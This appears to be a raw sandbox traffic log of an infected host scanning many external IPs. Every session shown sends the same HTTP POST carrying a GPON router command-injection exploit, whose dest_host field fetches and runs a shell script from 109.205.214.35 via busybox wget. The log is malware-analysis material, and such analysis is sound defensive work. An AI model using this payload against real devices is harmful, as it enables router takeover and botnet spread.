Mar 21, 2024 05:16:56.535005093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	38650	2.64.58.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535058022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	33432	118.106.212.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535058022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	57664	118.114.250.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535096884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	34312	94.37.149.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535096884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	42176	178.64.169.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535109997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	43232	118.184.46.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535145044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	36076	109.57.246.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535167933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	53150	37.17.129.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535197020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	45034	94.82.190.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535217047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	56786	5.32.140.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535253048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	36406	79.26.249.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535253048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	51182	109.13.186.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535286903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	48326	178.138.168.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535309076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	45462	212.167.95.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.535312891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	40692	79.239.223.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528278112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	48370	118.105.204.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528315067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	56344	79.250.218.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528357029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	57694	109.125.121.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528379917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	39526	2.138.37.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528408051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	35412	94.235.142.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528419018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	52458	109.28.10.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528455019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	48138	79.71.88.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528548956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	51538	178.63.94.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.528563023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	52790	79.233.71.245	443

Timestamp	Bytes transferred	Direction	Data
